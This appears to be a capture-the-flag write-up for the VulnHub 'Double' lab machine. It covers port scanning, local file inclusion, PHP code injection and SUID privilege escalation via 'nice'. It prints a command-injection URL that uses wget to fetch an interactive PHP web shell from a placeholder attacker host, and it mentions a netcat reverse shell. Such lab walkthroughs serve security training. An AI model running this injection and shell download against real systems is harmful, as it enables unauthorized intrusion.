mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-22 12:03:03 +00:00
106 lines
5.6 KiB
Markdown
106 lines
5.6 KiB
Markdown
|
# VulnHub-Double
|
||
|
|
|
||
|
|
## Netdiscover
|
||
|
|
|
||
|
|
<img src="https://imgur.com/u8vD72S.png"/>
|
||
|
|
|
||
|
|
## Rustscan
|
||
|
|
|
||
|
|
```
|
||
|
|
rustscan -a 192.168.1.9 -- -A -sC -sV
|
||
|
|
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
|
||
|
|
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
|
||
|
|
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
|
||
|
|
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
|
||
|
|
The Modern Day Port Scanner.
|
||
|
|
________________________________________
|
||
|
|
: https://discord.gg/GFrQsGy :
|
||
|
|
: https://github.com/RustScan/RustScan :
|
||
|
|
--------------------------------------
|
||
|
|
Real hackers hack time ⌛
|
||
|
|
[~] The config file is expected to be at "/root/.rustscan.toml"
|
||
|
|
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
|
||
|
|
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
|
||
|
|
Open 192.168.1.9:22
|
||
|
|
Open 192.168.1.9:25
|
||
|
|
Open 192.168.1.9:80
|
||
|
|
Open 192.168.1.9:8080
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
PORT STATE SERVICE REASON VERSION
|
||
|
|
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|
||
|
|
| ssh-hostkey:
|
||
|
|
| 2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
|
||
|
|
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bVoBm6Jd8SD9AJ0qjLyo0oU4cgQthlFxui+n/qXM6NYRxBcWn0gva/MDLyW1neLva6hhuKFR/6GE6PtQ1Gge9SKOzmQPGXi2RBUQaVINZu
|
||
|
|
Ydb6Q0QR0BT3ppGMMsw8bNxluttaYIzbeK5tR4zCG8xPGss6LvLbtjfcjugxKWRF58hstDIHwtPhzYX3gnH17yN5w6NuSlpPwaCTbcFZNAqqAhoKSBBIUcZTYC5mdcp+EOR6ao3LCsk98bOxNSKz
|
||
|
|
3RdfmN3ch1Z6NaEbR/A9DIEoeC5e+e1GG6zGoDoSET1QstiMAahrs2yIhfHVxQUhlS9upju8OrRB0yCWvE2IG3
|
||
|
|
| 256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|
||
|
|
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJPWpmfjbTeUtsjjJTkCPHFjiq+48Q/3ZYU+H0Kc/K6S785qBs1oRncFAGFV9A0xYtaUnmnohu
|
||
|
|
0OHP7sRJVoUR8=
|
||
|
|
| 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
|
||
|
|
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJElctLWgcGu5SJqqW0MvhE4rBIGL0YLBZYt4sg+esy/
|
||
|
|
25/tcp open smtp syn-ack ttl 64 Postfix smtpd
|
||
|
|
|_smtp-commands: shredder.calipendu.la, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
|
||
|
|
| ssl-cert: Subject: commonName=shredder.calipendu.la
|
||
|
|
| Subject Alternative Name: DNS:shredder.calipendu.la
|
||
|
|
| Issuer: commonName=shredder.calipendu.la
|
||
|
|
| Public Key type: rsa
|
||
|
|
| Public Key bits: 2048
|
||
|
|
| Signature Algorithm: sha256WithRSAEncryption
|
||
|
|
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
|
||
|
|
| http-methods:
|
||
|
|
|_ Supported Methods: GET HEAD POST OPTIONS
|
||
|
|
|_http-server-header: Apache/2.4.38 (Debian)
|
||
|
|
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|
||
|
|
8080/tcp open http syn-ack ttl 64 Apache httpd 2.4.38
|
||
|
|
| http-auth:
|
||
|
|
| HTTP/1.1 401 Unauthorized\x0D
|
||
|
|
|_ Basic realm=HU?
|
||
|
|
|_http-server-header: Apache/2.4.38 (Debian)
|
||
|
|
|_http-title: 401 Unauthorized
|
||
|
|
MAC Address: 08:00:27:6A:6B:F6 (Oracle VirtualBox virtual NIC)
|
||
|
|
|
||
|
|
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## PORT 80 (HTTP)
|
||
|
|
|
||
|
|
<img src="https://imgur.com/bUJsDWI.png"/>
|
||
|
|
|
||
|
|
On clicking `Test` it will redirect us to port 8080 by asking credentials
|
||
|
|
|
||
|
|
<img src="https://imgur.com/bpSLkzX.png"/>
|
||
|
|
|
||
|
|
<img src="https://imgur.com/zYPRhfy.png"/>
|
||
|
|
|
||
|
|
We can see a paramter `out`
|
||
|
|
<img src="https://imgur.com/nJqHi0j.png"/>
|
||
|
|
|
||
|
|
On tampering with that paramter it gave an error which is useful to us because error is related to opening a file `include_path` so we can try for lfi (Local File Inclusion)
|
||
|
|
|
||
|
|
<img src="https://imgur.com/DR7Sdru.png"/>
|
||
|
|
|
||
|
|
But apart from just seeing `/etc/passwd` can't access anything else. Going back to `/production` I tried to inject php code
|
||
|
|
|
||
|
|
<img src="https://imgur.com/qeNMXQN.png"/>
|
||
|
|
|
||
|
|
<img src="https://imgur.com/Wjd9ln9.png"/>
|
||
|
|
|
||
|
|
Now I can get a reverse shell but running `netcat` directly through parameter was not working I was getting a connection then it was closing so I upload `phpbash.php` which is an interactive php shell
|
||
|
|
|
||
|
|
`http://192.168.1.9/production/sendcommand.php?out=out&cmd=wget http://attacker_ip/phpbash.php;`
|
||
|
|
|
||
|
|
<img src="https://imgur.com/0gLaOI8.png"/>
|
||
|
|
|
||
|
|
After getting a netcat shell I ran linpeas
|
||
|
|
|
||
|
|
<img src="https://imgur.com/opKtkU9.png"/>
|
||
|
|
|
||
|
|
it showed `nice` as SUID , nice is a binary used to invoke a utility or shell script with a particular CPU priority, thus giving the process more or less CPU time than other processes as it is a system binary there might be something on GTFOBINS for it
|
||
|
|
|
||
|
|
<img src="https://imgur.com/F0FxyJI.png"/>
|
||
|
|
|
||
|
|
<img src="https://imgur.com/oBkuq5M.png"/>
|